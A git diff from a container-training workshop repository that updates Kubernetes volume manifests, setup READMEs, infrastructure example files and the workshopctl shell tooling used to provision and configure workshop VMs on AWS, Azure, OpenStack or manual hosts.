+      - matchExpressions:
+        - key: kubernetes.io/hostname
+          operator: In
+          values:
+          - node3
+---
+apiVersion: v1
+kind: PersistentVolume
+metadata:
+  name: consul-node4
+  annotations:
+    node: node4
+spec:
+  capacity:
+    storage: 10Gi
+  accessModes:
+  - ReadWriteOnce
+  persistentVolumeReclaimPolicy: Delete
+  local:
+    path: /mnt/consul
+  nodeAffinity:
+    required:
+      nodeSelectorTerms:
+      - matchExpressions:
+        - key: kubernetes.io/hostname
+          operator: In
+          values:
+          - node4
+

prepare-local/README.md

@@ -7,9 +7,9 @@ workshop.
 
 
 ## 1. Prerequisites
-
 Virtualbox, Vagrant and Ansible
 
+
 - Virtualbox: https://www.virtualbox.org/wiki/Downloads
 
 - Vagrant: https://www.vagrantup.com/downloads.html
@@ -25,19 +25,20 @@ Virtualbox, Vagrant and Ansible
 
         $ git clone --recursive https://github.com/ansible/ansible.git
         $ cd ansible
-        $ git checkout stable-2.0.0.1
+        $ git checkout stable-{{ getStableVersionFromAnsibleProject }}
         $ git submodule update
 
   - source the setup script to make Ansible available on this terminal session:
 
           $ source path/to/your-ansible-clone/hacking/env-setup
 
-  - you need to repeat the last step everytime you open a new terminal session
+  - you need to repeat the last step every time you open a new terminal session
     and want to use any Ansible command (but you'll probably only need to run
     it once).
 
 
 ## 2. Preparing the environment
+Change into directory that has your Vagrantfile
 
 Run the following commands:
 
@@ -66,6 +67,14 @@ will reflect inside the instance.
 
 - Depending on the Vagrant version, `sudo apt-get install bsdtar` may be needed
 
+- If you get an error like "no Vagrant file found" or you have a file but  "cannot open base box" when running `vagrant up`, 
+chances are good you not in the correct directory. 
+Make sure you are in sub directory named "prepare-local". It has all the config files required by ansible, vagrant and virtualbox
+
+- If you are using Python 3.7, running the ansible-playbook provisioning, see an error like "SyntaxError: invalid syntax" and it mentions
+the word "async", you need to upgrade your Ansible version to 2.6 or higher to resolve the keyword conflict. 
+https://github.com/ansible/ansible/issues/42105
+
 - If you get strange Ansible errors about dependencies, try to check your pip
   version with `pip --version`. The current version is 8.1.1. If your pip is
   older than this, upgrade it with `sudo pip install --upgrade pip`, restart

prepare-vms/README.md

@@ -1,33 +1,53 @@
-# Trainer tools to create and prepare VMs for Docker workshops on AWS or Azure
+# Trainer tools to create and prepare VMs for Docker workshops
+
+These tools can help you to create VMs on:
+
+- Azure
+- EC2
+- OpenStack
 
 ## Prerequisites
 
 - [Docker](https://docs.docker.com/engine/installation/)
 - [Docker Compose](https://docs.docker.com/compose/install/)
-- [Parallel SSH](https://code.google.com/archive/p/parallel-ssh/) (on a Mac: `brew install pssh`) - the configuration scripts require this
+- [Parallel SSH](https://code.google.com/archive/p/parallel-ssh/) (on a Mac: `brew install pssh`) 
+
+Depending on the infrastructure that you want to use, you also need to install
+the Azure CLI, the AWS CLI, or terraform (for OpenStack deployment).
 
 And if you want to generate printable cards:
 
-- [pyyaml](https://pypi.python.org/pypi/PyYAML) (on a Mac: `brew install pyyaml`)
-- [jinja2](https://pypi.python.org/pypi/Jinja2) (on a Mac: `brew install jinja2`)
+- [pyyaml](https://pypi.python.org/pypi/PyYAML)
+- [jinja2](https://pypi.python.org/pypi/Jinja2)
+
+You can install them with pip (perhaps with `pip install --user`, or even use `virtualenv` if that's your thing).
+
+These require Python 3. If you are on a Mac, see below for specific instructions on setting up
+Python 3 to be the default Python on a Mac. In particular, if you installed `mosh`, Homebrew
+may have changed your default Python to Python 2.
 
 ## General Workflow
 
 - fork/clone repo
-- set required environment variables
+- create an infrastructure configuration in the `prepare-vms/infra` directory
+  (using one of the example files in that directory)
 - create your own setting file from `settings/example.yaml`
 - if necessary, increase allowed open files: `ulimit -Sn 10000`
-- run `./workshopctl` commands to create instances, install docker, setup each users environment in node1, other management tasks
-- run `./workshopctl cards` command to generate PDF for printing handouts of each users host IP's and login info
+- run `./workshopctl start` to create instances
+- run `./workshopctl deploy` to install Docker and setup environment
+- run `./workshopctl kube` (if you want to install and setup Kubernetes)
+- run `./workshopctl cards` (if you want to generate PDF for printing handouts of each users host IP's and login info)
+- run `./workshopctl stop` at the end of the workshop to terminate instances
 
 ## Clone/Fork the Repo, and Build the Tools Image
 
 The Docker Compose file here is used to build a image with all the dependencies to run the `./workshopctl` commands and optional tools. Each run of the script will check if you have those dependencies locally on your host, and will only use the container if you're [missing a dependency](workshopctl#L5).
 
-    $ git clone https://github.com/jpetazzo/orchestration-workshop.git
-    $ cd orchestration-workshop/prepare-vms
+    $ git clone https://github.com/jpetazzo/container.training
+    $ cd container.training/prepare-vms
     $ docker-compose build
 
+
 ## Preparing to Run `./workshopctl`
 
 ### Required AWS Permissions/Info
@@ -36,53 +56,74 @@ The Docker Compose file here is used to build a image with all the dependencies
 - Using a non-default VPC or Security Group isn't supported out of box yet, so you will have to customize `lib/commands.sh` if you want to change that.
 - These instances will assign the default VPC Security Group, which does not open any ports from Internet by default. So you'll need to add Inbound rules for `SSH | TCP | 22 | 0.0.0.0/0` and `Custom TCP Rule | TCP | 8000 - 8002 | 0.0.0.0/0`, or run `./workshopctl opensg` which opens up all ports.
 
-### Required Environment Variables
+### Create your `infra` file
 
-- `AWS_ACCESS_KEY_ID`
-- `AWS_SECRET_ACCESS_KEY`
-- `AWS_DEFAULT_REGION`
+You need to do this only once. (On AWS, you can create one `infra`
+file per region.)
 
-If you're not using AWS, set these to placeholder values:
+Make a copy of one of the example files in the `infra` directory.
 
+For instance:
+
+```bash
+cp infra/example.aws infra/aws-us-west-2
 ```
-export AWS_ACCESS_KEY_ID="foo"
-export AWS_SECRET_ACCESS_KEY="foo"
-export AWS_DEFAULT_REGION="foo"
-```
+
+Edit your infrastructure file to customize it.
+You will probably need to put your cloud provider credentials,
+select region...
 
 If you don't have the `aws` CLI installed, you will get a warning that it's a missing dependency. If you're not using AWS you can ignore this.
 
-### Update/copy `settings/example.yaml`
+### Create your `settings` file
 
-Then pass `settings/YOUR_WORKSHOP_NAME-settings.yaml` as an argument to `./workshopctl deploy`, `./workshopctl cards`, etc.
+Similarly, pick one of the files in `settings` and copy it
+to customize it.
 
-./workshopctl cards 2016-09-28-00-33-bret settings/orchestration.yaml
+For instance:
+
+```bash
+cp settings/example.yaml settings/myworkshop.yaml
+```
+
+You're all set!
 
 ## `./workshopctl` Usage
 
 ```
 workshopctl - the orchestration workshop swiss army knife
 Commands:
-ami          Show the AMI that will be used for deployment
-amis         List Ubuntu AMIs in the current region
-build        Build the Docker image to run this program in a container
-cards        Generate ready-to-print cards for a batch of VMs
-deploy       Install Docker on a bunch of running VMs
-ec2quotas    Check our EC2 quotas (max instances)
-help         Show available commands
-ids          List the instance IDs belonging to a given tag or token
-ips          List the IP addresses of the VMs for a given tag or token
-kube         Setup kubernetes clusters with kubeadm (must be run AFTER deploy)
-kubetest     Check that all notes are reporting as Ready
-list         List available batches in the current region
-opensg       Open the default security group to ALL ingress traffic
-pull_images  Pre-pull a bunch of Docker images
-retag        Apply a new tag to a batch of VMs
-start        Start a batch of VMs
-status       List instance status for a given batch
-stop         Stop (terminate, shutdown, kill, remove, destroy...) instances
-test         Run tests (pre-flight checks) on a batch of VMs
-wrap         Run this program in a container
+build                Build the Docker image to run this program in a container
+cards                Generate ready-to-print cards for a group of VMs
+deploy               Install Docker on a bunch of running VMs
+disableaddrchecks    Disable source/destination IP address checks
+disabledocker        Stop Docker Engine and don't restart it automatically
+helmprom             Install Helm and Prometheus
+help                 Show available commands
+ids                  (FIXME) List the instance IDs belonging to a given tag or token
+kubebins             Install Kubernetes and CNI binaries but don't start anything
+kubereset            Wipe out Kubernetes configuration on all nodes
+kube                 Setup kubernetes clusters with kubeadm (must be run AFTER deploy)
+kubetest             Check that all nodes are reporting as Ready
+listall              List VMs running on all configured infrastructures
+list                 List available groups for a given infrastructure
+netfix               Disable GRO and run a pinger job on the VMs
+opensg               Open the default security group to ALL ingress traffic
+ping                 Ping VMs in a given tag, to check that they have network access
+pssh                 Run an arbitrary command on all nodes
+pull_images          Pre-pull a bunch of Docker images
+quotas               Check our infrastructure quotas (max instances)
+remap_nodeports      Remap NodePort range to 10000-10999
+retag                (FIXME) Apply a new tag to a group of VMs
+ssh                  Open an SSH session to the first node of a tag
+start                Start a group of VMs
+stop                 Stop (terminate, shutdown, kill, remove, destroy...) instances
+tags                 List groups of VMs known locally
+test                 Run tests (pre-flight checks) on a group of VMs
+weavetest            Check that weave seems properly setup
+webssh               Install a WEB SSH server on the machines (port 1080)
+wrap                 Run this program in a container
+www                  Run a web server to access card HTML and PDF
 ```
 
 ### Summary of What `./workshopctl` Does For You
@@ -95,22 +136,22 @@ wrap         Run this program in a container
 - During `start` it will add your default local SSH key to all instances under the `ubuntu` user.
 - During `deploy` it will create the `docker` user with password `training`, which is printing on the cards for students. This can be configured with the `docker_user_password` property in the settings file.
 
-### Example Steps to Launch a Batch of AWS Instances for a Workshop
+### Example Steps to Launch a group of AWS Instances for a Workshop
 
-- Run `./workshopctl start N` Creates `N` EC2 instances
+- Run `./workshopctl start --infra infra/aws-us-east-2 --settings/myworkshop.yaml --count 60` to create 60 EC2 instances
   - Your local SSH key will be synced to instances under `ubuntu` user
   - AWS instances will be created and tagged based on date, and IP's stored in `prepare-vms/tags/`
-- Run `./workshopctl deploy TAG settings/somefile.yaml` to run `lib/postprep.py` via parallel-ssh
+- Run `./workshopctl deploy TAG` to run `lib/postprep.py` via parallel-ssh
   - If it errors or times out, you should be able to rerun
   - Requires good connection to run all the parallel SSH connections, up to 100 parallel (ProTip: create dedicated management instance in same AWS region where you run all these utils from)
 - Run `./workshopctl pull_images TAG` to pre-pull a bunch of Docker images to the instances
-- Run `./workshopctl cards TAG settings/somefile.yaml` generates PDF/HTML files to print and cut and hand out to students
+- Run `./workshopctl cards TAG` generates PDF/HTML files to print and cut and hand out to students
 - *Have a great workshop*
 - Run `./workshopctl stop TAG` to terminate instances.
 
 ### Example Steps to Launch Azure Instances
 
-- Install the [Azure CLI](https://docs.microsoft.com/en-us/cli/azure/install-azure-cli?view=azure-cli-latest) and authenticate with a valid account
+- Install the [Azure CLI](https://docs.microsoft.com/en-us/cli/azure/install-azure-cli?view=azure-cli-latest) and authenticate with a valid account (`az login`)
 - Customize `azuredeploy.parameters.json`
   - Required:
     - Provide the SSH public key you plan to use for instance configuration
@@ -155,27 +196,16 @@ az group delete --resource-group workshop
 
 ### Example Steps to Configure Instances from a non-AWS Source
 
-- Launch instances via your preferred method. You'll need to get the instance IPs and be able to ssh into them.
-- Set placeholder values for [AWS environment variable settings](#required-environment-variables).
-- Choose a tag. It could be an event name, datestamp, etc. Ensure you have created a directory for your tag: `prepare-vms/tags/<tag>/`
-- If you have not already generated a file with the IPs to be configured:
-  - The file should be named `prepare-vms/tags/<tag>/ips.txt`
-  - Format is one IP per line, no other info needed.
-- Ensure the settings file is as desired (especially the number of nodes): `prepare-vms/settings/kube101.yaml`
-- For a tag called `myworkshop`, configure instances: `workshopctl deploy myworkshop settings/kube101.yaml`
-- Optionally, configure Kubernetes clusters of the size in the settings: `workshopctl kube myworkshop`
-- Optionally, test your Kubernetes clusters. They may take a little time to become ready: `workshopctl kubetest myworkshop`
-- Generate cards to print and hand out: `workshopctl cards myworkshop settings/kube101.yaml`
-- Print the cards file: `prepare-vms/tags/myworkshop/ips.html`
-
-
-## Other Tools
-
-### Deploying your SSH key to all the machines
-
-- Make sure that you have SSH keys loaded (`ssh-add -l`).
-- Source `rc`.
-- Run `pcopykey`.
+- Copy `infra/example.generic` to `infra/generic`
+- Run `./workshopctl start --infra infra/generic --settings settings/...yaml`
+- Note the `prepare-vms/tags/TAG/` path that has been auto-created.
+- Launch instances via your preferred method. You'll need to get the instance IPs and be able to SSH into them.
+- Edit the file `prepare-vms/tags/TAG/ips.txt`, it should list the IP addresses of the VMs (one per line, without any comments or other info)
+- Continue deployment of cluster configuration with `./workshopctl deploy TAG`
+- Optionally, configure Kubernetes clusters of the size in the settings: workshopctl kube `TAG`
+- Optionally, test your Kubernetes clusters. They may take a little time to become ready: workshopctl kubetest `TAG`
+- Generate cards to print and hand out: workshopctl cards `TAG`
+- Print the cards file: prepare-vms/tags/`TAG`/ips.html
 
 
 ## Even More Details
@@ -188,7 +218,7 @@ To see which local key will be uploaded, run `ssh-add -l | grep RSA`.
 
 #### Instance + tag creation
 
-10 VMs will be started, with an automatically generated tag (timestamp + your username).
+The VMs will be started, with an automatically generated tag (timestamp + your username).
 
 Your SSH key will be added to the `authorized_keys` of the ubuntu user.
 
@@ -196,15 +226,11 @@ Your SSH key will be added to the `authorized_keys` of the ubuntu user.
 
 Following the creation of the VMs, a text file will be created containing a list of their IPs.
 
-This ips.txt file will be created in the $TAG/ directory and a symlink will be placed in the working directory of the script.
-
-If you create new VMs, the symlinked file will be overwritten.
-
 #### Deployment
 
 Instances can be deployed manually using the `deploy` command:
 
-    $ ./workshopctl deploy TAG settings/somefile.yaml
+    $ ./workshopctl deploy TAG
 
 The `postprep.py` file will be copied via parallel-ssh to all of the VMs and executed.
 
@@ -214,7 +240,7 @@ The `postprep.py` file will be copied via parallel-ssh to all of the VMs and exe
 
 #### Generate cards
 
-    $ ./workshopctl cards TAG settings/somefile.yaml
+    $ ./workshopctl cards TAG
 
 If you want to generate both HTML and PDF cards, install [wkhtmltopdf](https://wkhtmltopdf.org/downloads.html); without that installed, only HTML cards will be generated.
 
@@ -222,13 +248,11 @@ If you don't have `wkhtmltopdf` installed, you will get a warning that it is a m
 
 #### List tags
 
-    $ ./workshopctl list
+    $ ./workshopctl list infra/some-infra-file
 
-#### List VMs
+    $ ./workshopctl listall
 
-    $ ./workshopctl list TAG
-
-This will print a human-friendly list containing some information about each instance.
+    $ ./workshopctl tags
 
 #### Stop and destroy VMs
 
@@ -238,3 +262,32 @@ This will print a human-friendly list containing some information about each ins
 
   - Don't write to bash history in system() in postprep
   - compose, etc version inconsistent (int vs str)
+
+## Making sure Python3 is the default (Mac only)
+
+Check the `/usr/local/bin/python` symlink. It should be pointing to
+`/usr/local/Cellar/python/3`-something. If it isn't, follow these
+instructions.
+
+1) Verify that Python 3 is installed.
+
+```
+ls -la /usr/local/Cellar/Python
+```
+
+You should see one or more versions of Python 3. If you don't,
+install it with `brew install python`.
+
+2) Verify that `python` points to Python3.
+ 
+```
+ls -la /usr/local/bin/python
+```
+
+If this points to `/usr/local/Cellar/python@2`, then we'll need to change it.
+
+```
+rm /usr/local/bin/python
+ln -s /usr/local/Cellar/Python/xxxx /usr/local/bin/python
+# where xxxx is the most recent Python 3 version you saw above
+```

prepare-vms/cards.html

@@ -1,106 +0,0 @@
-{# Feel free to customize or override anything in there! #}
-{%- set url = "http://container.training/" -%}
-{%- set pagesize = 12 -%}
-{%- if clustersize == 1 -%}
-    {%- set workshop_name = "Docker workshop" -%}
-    {%- set cluster_or_machine = "machine" -%}
-    {%- set this_or_each = "this" -%}
-    {%- set machine_is_or_machines_are = "machine is" -%}
-    {%- set image_src = "https://s3-us-west-2.amazonaws.com/www.breadware.com/integrations/docker.png" -%}
-{%- else -%}
-    {%- set workshop_name = "orchestration workshop" -%}
-    {%- set cluster_or_machine = "cluster" -%}
-    {%- set this_or_each = "each" -%}
-    {%- set machine_is_or_machines_are = "machines are" -%}
-    {%- set image_src_swarm = "https://cdn.wp.nginx.com/wp-content/uploads/2016/07/docker-swarm-hero2.png" -%}
-    {%- set image_src_kube = "https://avatars1.githubusercontent.com/u/13629408" -%}
-    {%- set image_src = image_src_swarm -%}
-{%- endif -%}
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
-<html>
-<head><style>
-body, table {
-    margin: 0;
-    padding: 0;
-    line-height: 1em;
-    font-size: 14px;
-}
-
-table {
-    border-spacing: 0;
-    margin-top: 0.4em;
-    margin-bottom: 0.4em;
-    border-left: 0.8em double grey;
-    padding-left: 0.4em;
-}
-
-div {
-    float: left;
-    border: 1px dotted black;
-    padding-top: 1%;
-    padding-bottom: 1%;
-    /* columns * (width+left+right) < 100% */
-    width: 21.5%;
-    padding-left: 1.5%;
-    padding-right: 1.5%;
-}
-
-p {
-    margin: 0.4em 0 0.4em 0;
-}
-
-img {
-    height: 4em;
-    float: right;
-    margin-right: -0.4em;
-}
-
-.logpass {
-    font-family: monospace;
-    font-weight: bold;
-}
-
-.pagebreak {
-    page-break-after: always;
-    clear: both;
-    display: block;
-    height: 8px;
-}
-</style></head>
-<body>
-{% for cluster in clusters %}
-    {% if loop.index0>0 and loop.index0%pagesize==0 %}
-        <span class="pagebreak"></span>
-    {% endif %}
-    <div>
-
-        <p>
-            Here is the connection information to your very own
-            {{ cluster_or_machine }} for this {{ workshop_name }}.
-            You can connect to {{ this_or_each }} VM with any SSH client.
-        </p>
-        <p>
-            <img src="{{ image_src }}" />
-            <table>
-                <tr><td>login:</td></tr>
-                <tr><td class="logpass">docker</td></tr>
-                <tr><td>password:</td></tr>
-                <tr><td class="logpass">{{ docker_user_password }}</td></tr>
-            </table>
-
-        </p>
-        <p>
-            Your {{ machine_is_or_machines_are }}:
-            <table>
-                {% for node in cluster %}
-                <tr><td>node{{ loop.index }}:</td><td>{{ node }}</td></tr>
-                {% endfor %}
-            </table>
-        </p>
-        <p>You can find the slides at:
-            <center>{{ url }}</center>
-        </p>
-    </div>
-{% endfor %}
-</body>
-</html>

prepare-vms/cncsetup.sh

@@ -7,15 +7,6 @@ fi
 if id docker; then
   sudo userdel -r docker
 fi
-pip install --user awscli jinja2 pdfkit
-sudo apt-get install -y wkhtmltopdf xvfb
-tmux new-session \; send-keys "
-[ -f ~/.ssh/id_rsa ] || ssh-keygen
-
-eval \$(ssh-agent)
-ssh-add
-Xvfb :0 &
-export DISPLAY=:0
-mkdir -p ~/www
-sudo docker run -d -p 80:80 -v \$HOME/www:/usr/share/nginx/html nginx
-"
+sudo apt-get update -q
+sudo apt-get install -qy jq python-pip wkhtmltopdf xvfb
+pip install --user awscli jinja2 pdfkit pssh

prepare-vms/e2e.sh

@@ -0,0 +1,10 @@
+#!/bin/sh
+set -e
+TAG=$(./workshopctl maketag)
+./workshopctl start --settings settings/jerome.yaml --infra infra/aws-eu-central-1 --tag $TAG
+./workshopctl deploy $TAG
+./workshopctl kube $TAG
+./workshopctl helmprom $TAG
+while ! ./workshopctl kubetest $TAG; do sleep 1; done
+./workshopctl tmux $TAG
+echo ./workshopctl stop $TAG

prepare-vms/infra/example.aws

@@ -0,0 +1,6 @@
+INFRACLASS=aws
+# If you are using AWS to deploy, copy this file (e.g. to "aws", or "us-east-1")
+# and customize the variables below.
+export AWS_DEFAULT_REGION=us-east-1
+export AWS_ACCESS_KEY_ID=AKI...
+export AWS_SECRET_ACCESS_KEY=...

prepare-vms/infra/example.generic

@@ -0,0 +1,2 @@
+INFRACLASS=generic
+# This is for manual provisioning. No other variable or configuration is needed.

prepare-vms/infra/example.openstack

@@ -0,0 +1,9 @@
+INFRACLASS=openstack
+# If you are using OpenStack, copy this file (e.g. to "openstack" or "enix")
+# and customize the variables below.
+export TF_VAR_user="jpetazzo"
+export TF_VAR_tenant="training"
+export TF_VAR_domain="Default"
+export TF_VAR_password="..."
+export TF_VAR_auth_url="https://api.r1.nxs.enix.io/v3"
+export TF_VAR_flavor="GP1.S"

prepare-vms/lib/aws.sh

@@ -1,105 +0,0 @@
-aws_display_tags() {
-    # Print all "Name" tags in our region with their instance count
-    echo "[#] [Status] [Token] [Tag]" \
-        | awk '{ printf "%-7s %-12s %-25s %-25s\n", $1, $2, $3, $4}'
-    aws ec2 describe-instances \
-        --query "Reservations[*].Instances[*].[State.Name,ClientToken,Tags[0].Value]" \
-        | tr -d "\r" \
-        | uniq -c \
-        | sort -k 3 \
-        | awk '{ printf "%-7s %-12s %-25s %-25s\n", $1, $2, $3, $4}'
-}
-
-aws_get_tokens() {
-    aws ec2 describe-instances --output text \
-        --query 'Reservations[*].Instances[*].[ClientToken]' \
-        | sort -u
-}
-
-aws_display_instance_statuses_by_tag() {
-    TAG=$1
-    need_tag $TAG
-
-    IDS=$(aws ec2 describe-instances \
-        --filters "Name=tag:Name,Values=$TAG" \
-        --query "Reservations[*].Instances[*].InstanceId" | tr '\t' ' ')
-
-    aws ec2 describe-instance-status \
-        --instance-ids $IDS \
-        --query "InstanceStatuses[*].{ID:InstanceId,InstanceState:InstanceState.Name,InstanceStatus:InstanceStatus.Status,SystemStatus:SystemStatus.Status,Reachability:InstanceStatus.Status}" \
-        --output table
-}
-
-aws_display_instances_by_tag() {
-    TAG=$1
-    need_tag $TAG
-    result=$(aws ec2 describe-instances --output table \
-        --filter "Name=tag:Name,Values=$TAG" \
-        --query "Reservations[*].Instances[*].[ \
-                        InstanceId, \
-                        State.Name, \
-                        Tags[0].Value, \
-                        PublicIpAddress, \
-                        InstanceType \
-                        ]"
-    )
-    if [[ -z $result ]]; then
-        die "No instances found with tag $TAG in region $AWS_DEFAULT_REGION."
-    else
-        echo "$result"
-    fi
-}
-
-aws_get_instance_ids_by_filter() {
-    FILTER=$1
-    aws ec2 describe-instances --filters $FILTER \
-        --query Reservations[*].Instances[*].InstanceId \
-        --output text | tr "\t" "\n" | tr -d "\r"
-}
-
-aws_get_instance_ids_by_client_token() {
-    TOKEN=$1
-    need_tag $TOKEN
-    aws_get_instance_ids_by_filter Name=client-token,Values=$TOKEN
-}
-
-aws_get_instance_ids_by_tag() {
-    TAG=$1
-    need_tag $TAG
-    aws_get_instance_ids_by_filter Name=tag:Name,Values=$TAG
-}
-
-aws_get_instance_ips_by_tag() {
-    TAG=$1
-    need_tag $TAG
-    aws ec2 describe-instances --filter "Name=tag:Name,Values=$TAG" \
-        --output text \
-        --query "Reservations[*].Instances[*].PublicIpAddress" \
-        | tr "\t" "\n" \
-        | sort -n -t . -k 1,1 -k 2,2 -k 3,3 -k 4,4 # sort IPs
-}
-
-aws_kill_instances_by_tag() {
-    TAG=$1
-    need_tag $TAG
-    IDS=$(aws_get_instance_ids_by_tag $TAG)
-    if [ -z "$IDS" ]; then
-        die "Invalid tag."
-    fi
-
-    info "Deleting instances with tag $TAG."
-
-    aws ec2 terminate-instances --instance-ids $IDS \
-        | grep ^TERMINATINGINSTANCES
-
-    info "Deleted instances with tag $TAG."
-}
-
-aws_tag_instances() {
-    OLD_TAG_OR_TOKEN=$1
-    NEW_TAG=$2
-    IDS=$(aws_get_instance_ids_by_client_token $OLD_TAG_OR_TOKEN)
-    [[ -n "$IDS" ]] && aws ec2 create-tags --tag Key=Name,Value=$NEW_TAG --resources $IDS >/dev/null
-    IDS=$(aws_get_instance_ids_by_tag $OLD_TAG_OR_TOKEN)
-    [[ -n "$IDS" ]] && aws ec2 create-tags --tag Key=Name,Value=$NEW_TAG --resources $IDS >/dev/null
-}

prepare-vms/lib/cli.sh

@@ -50,27 +50,41 @@ sep() {
     fi
 }
 
-need_tag() {
+need_infra() {
     if [ -z "$1" ]; then
+        die "Please specify infrastructure file. (e.g.: infra/aws)"
+    fi
+    if [ "$1" = "--infra" ]; then
+        die "The infrastructure file should be passed directly to this command. Remove '--infra' and try again."
+    fi
+    if [ ! -f "$1" ]; then
+        die "Infrastructure file $1 doesn't exist."
+    fi
+    . "$1"
+    . "lib/infra/$INFRACLASS.sh"
+}
+
+need_tag() {
+    if [ -z "$TAG" ]; then
         die "Please specify a tag or token. To see available tags and tokens, run: $0 list"
     fi
+    if [ ! -d "tags/$TAG" ]; then
+        die "Tag $TAG not found (directory tags/$TAG does not exist)."
+    fi
+    for FILE in settings.yaml ips.txt infra.sh; do
+        if [ ! -f "tags/$TAG/$FILE" ]; then
+          warning "File tags/$TAG/$FILE not found."
+        fi
+    done
+    . "tags/$TAG/infra.sh"
+    . "lib/infra/$INFRACLASS.sh"
 }
 
 need_settings() {
     if [ -z "$1" ]; then
-        die "Please specify a settings file."
-    elif [ ! -f "$1" ]; then
+        die "Please specify a settings file. (e.g.: settings/kube101.yaml)"
+    fi
+    if [ ! -f "$1" ]; then
         die "Settings file $1 doesn't exist."
     fi
 }
-
-need_ips_file() {
-    IPS_FILE=$1
-    if [ -z "$IPS_FILE" ]; then
-        die "IPS_FILE not set."
-    fi
-
-    if [ ! -s "$IPS_FILE" ]; then
-        die "IPS_FILE $IPS_FILE not found. Please run: $0 ips <TAG>"
-    fi
-}

prepare-vms/lib/commands.sh

@@ -2,26 +2,16 @@ export AWS_DEFAULT_OUTPUT=text
 
 HELP=""
 _cmd() {
-    HELP="$(printf "%s\n%-12s %s\n" "$HELP" "$1" "$2")"
+    HELP="$(printf "%s\n%-20s %s\n" "$HELP" "$1" "$2")"
 }
 
 _cmd help "Show available commands"
 _cmd_help() {
-    printf "$(basename $0) - the orchestration workshop swiss army knife\n"
+    printf "$(basename $0) - the container training swiss army knife\n"
     printf "Commands:"
     printf "%s" "$HELP" | sort
 }
 
-_cmd amis "List Ubuntu AMIs in the current region"
-_cmd_amis() {
-    find_ubuntu_ami -r $AWS_DEFAULT_REGION "$@"
-}
-
-_cmd ami "Show the AMI that will be used for deployment"
-_cmd_ami() {
-    find_ubuntu_ami -r $AWS_DEFAULT_REGION -a amd64 -v 16.04 -t hvm:ebs -N -q
-}
-
 _cmd build "Build the Docker image to run this program in a container"
 _cmd_build() {
     docker-compose build
@@ -32,73 +22,67 @@ _cmd_wrap() {
     docker-compose run --rm workshopctl "$@"
 }
 
-_cmd cards "Generate ready-to-print cards for a batch of VMs"
+_cmd cards "Generate ready-to-print cards for a group of VMs"
 _cmd_cards() {
     TAG=$1
-    SETTINGS=$2
-    need_tag $TAG
-    need_settings $SETTINGS
+    need_tag
 
-    # If you're not using AWS, populate the ips.txt file manually
-    if [ ! -f tags/$TAG/ips.txt ]; then
-      aws_get_instance_ips_by_tag $TAG >tags/$TAG/ips.txt
-    fi
+    # This will process ips.txt to generate two files: ips.pdf and ips.html
+    (
+        cd tags/$TAG
+        ../../lib/ips-txt-to-html.py settings.yaml
+    )
 
-    # Remove symlinks to old cards
-    rm -f ips.html ips.pdf
-
-    # This will generate two files in the base dir: ips.pdf and ips.html
-    lib/ips-txt-to-html.py $SETTINGS
-
-    for f in ips.html ips.pdf; do
-        # Remove old versions of cards if they exist
-        rm -f tags/$TAG/$f
-
-        # Move the generated file and replace it with a symlink
-        mv -f $f tags/$TAG/$f && ln -s tags/$TAG/$f $f
-    done
+    ln -sf ../tags/$TAG/ips.html www/$TAG.html
+    ln -sf ../tags/$TAG/ips.pdf www/$TAG.pdf
 
     info "Cards created. You can view them with:"
-    info "xdg-open ips.html ips.pdf (on Linux)"
-    info "open ips.html ips.pdf (on MacOS)"
+    info "xdg-open tags/$TAG/ips.html tags/$TAG/ips.pdf (on Linux)"
+    info "open tags/$TAG/ips.html (on macOS)"
+    info "Or you can start a web server with:"
+    info "$0 www"
 }
 
 _cmd deploy "Install Docker on a bunch of running VMs"
 _cmd_deploy() {
     TAG=$1
-    SETTINGS=$2
-    need_tag $TAG
-    need_settings $SETTINGS
-    link_tag $TAG
-    count=$(wc -l ips.txt)
+    need_tag
 
     # wait until all hosts are reachable before trying to deploy
     info "Trying to reach $TAG instances..."
-    while ! tag_is_reachable $TAG; do
+    while ! tag_is_reachable; do
         >/dev/stderr echo -n "."
         sleep 2
     done
     >/dev/stderr echo ""
 
+    echo deploying > tags/$TAG/status
     sep "Deploying tag $TAG"
-    pssh -I tee /tmp/settings.yaml <$SETTINGS
+
+    # Wait for cloudinit to be done
+    pssh "
+    while [ ! -f /var/lib/cloud/instance/boot-finished ]; do
+        sleep 1
+    done"
+
+    # Copy settings and install Python YAML parser
+    pssh -I tee /tmp/settings.yaml <tags/$TAG/settings.yaml
     pssh "
     sudo apt-get update &&
-    sudo apt-get install -y python-setuptools &&
-    sudo easy_install pyyaml"
+    sudo apt-get install -y python-yaml"
 
     # Copy postprep.py to the remote machines, and execute it, feeding it the list of IP addresses
     pssh -I tee /tmp/postprep.py <lib/postprep.py
-    pssh --timeout 900 --send-input "python /tmp/postprep.py >>/tmp/pp.out 2>>/tmp/pp.err" <ips.txt
+    pssh --timeout 900 --send-input "python /tmp/postprep.py >>/tmp/pp.out 2>>/tmp/pp.err" <tags/$TAG/ips.txt
 
     # Install docker-prompt script
     pssh -I sudo tee /usr/local/bin/docker-prompt <lib/docker-prompt
     pssh sudo chmod +x /usr/local/bin/docker-prompt
 
-    # If /home/docker/.ssh/id_rsa doesn't exist, copy it from node1
+    # If /home/docker/.ssh/id_rsa doesn't exist, copy it from the first node
     pssh "
     sudo -u docker [ -f /home/docker/.ssh/id_rsa ] ||
-    ssh -o StrictHostKeyChecking=no node1 sudo -u docker tar -C /home/docker -cvf- .ssh |
+    ssh -o StrictHostKeyChecking=no \$(cat /etc/name_of_first_node) sudo -u docker tar -C /home/docker -cvf- .ssh |
     sudo -u docker tar -C /home/docker -xf-"
 
     # if 'docker@' doesn't appear in /home/docker/.ssh/authorized_keys, copy it there
@@ -107,24 +91,78 @@ _cmd_deploy() {
     cat /home/docker/.ssh/id_rsa.pub |
     sudo -u docker tee -a /home/docker/.ssh/authorized_keys"
 
-    # On node1, create and deploy TLS certs using Docker Machine
+    # On the first node, create and deploy TLS certs using Docker Machine
     # (Currently disabled.)
     true || pssh "
-    if grep -q node1 /tmp/node; then
-        grep ' node' /etc/hosts | 
+    if i_am_first_node; then
+        grep '[0-9]\$' /etc/hosts |
         xargs -n2 sudo -H -u docker \
         docker-machine create -d generic --generic-ssh-user docker --generic-ip-address
     fi"
 
     sep "Deployed tag $TAG"
+    echo deployed > tags/$TAG/status
     info "You may want to run one of the following commands:"
     info "$0 kube $TAG"
     info "$0 pull_images $TAG"
-    info "$0 cards $TAG $SETTINGS"
+    info "$0 cards $TAG"
+}
+
+_cmd disabledocker "Stop Docker Engine and don't restart it automatically"
+_cmd_disabledocker() {
+    TAG=$1
+    need_tag
+
